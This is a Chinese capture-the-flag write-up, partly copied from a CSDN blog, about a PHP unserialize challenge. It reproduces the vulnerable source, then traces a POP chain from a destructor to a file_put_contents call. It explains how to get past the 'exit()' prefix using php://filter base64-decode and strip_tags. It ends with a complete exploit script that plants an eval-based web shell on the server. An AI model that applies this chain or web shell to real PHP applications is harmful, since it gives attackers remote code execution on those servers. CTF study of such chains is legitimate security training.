直接给了源码

<?php
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

分析pop链。


        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

已知肯定是要用这里,怎么调用到这里呢。
这是B类的set方法。
在A中的save()方法是成功调用set()并且可控参数。
所以只需要在__construct方法里设置好所有参数即可。
然后开始分析可利用得这个file_put_contents($filename,$data)

他是可写入得,我们得想法就是RCE或者直接getshell。
emmm 在这里都是一个意思了(
A类:__destruct->A::save()同时B::set()->A::getForStorage()->A::cleanContents()

getExpireTime($expire)返回参数的整形
getCacheKey(string $name)将options[‘prefix’] 与 $name拼接
serialize($data)并不是序列化函数,可以控制$serialize = $this->options[‘serialize’]
————————————————
版权声明:本文为CSDN博主「W4nder」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/chasingin/java/article/details/104363395

然后是绕过死亡退出。
base64解码,由于base64只能处理[0-9][a-z][A-Z]+\这些字符,所以就可以通过base64解码将<、?、空格等不认识的全部解释成乱码,这样php就不认为是一个正常的代码就不会执行,然后我们只要把shell编码即可,不过这里需要注意的是base64以4个字节为一组解码,所以要确保前面的无关数据要为4的倍数
可以数一下上面的数据,总共29个,所以再加3个凑成32个即可

php://filter/write=convert.base64-decode/resource=

字符串方法:strip_tags能去掉html标签,去掉<?php ?>标签后也不会被php识别,为了不让它把shell标签去掉我们还是得利用base64编码

php://filter/write=string.strip_tags|conver.base64-decode/resource=

$filename通过调用$this->getCacheKey($name)得到,也就是options[‘prefix’] 与 $name的拼接
exp

<?php

class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public function __construct (){
        $this->store = new B();
        $this->key = "a.php";
         $this-> expire = 0;
        $this->cache = array();
         $this->autosave = false;
         $this->complete = base64_encode("xxx" . base64_encode('<?php @eval($_POST["a"]);?>'));
    }
}
class B{
    public $options = [
        'serialize' => "base64_decode",
         'data_compress' => false,
        'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/"
    ];
}
echo urlencode(serialize(new A()));

推荐文章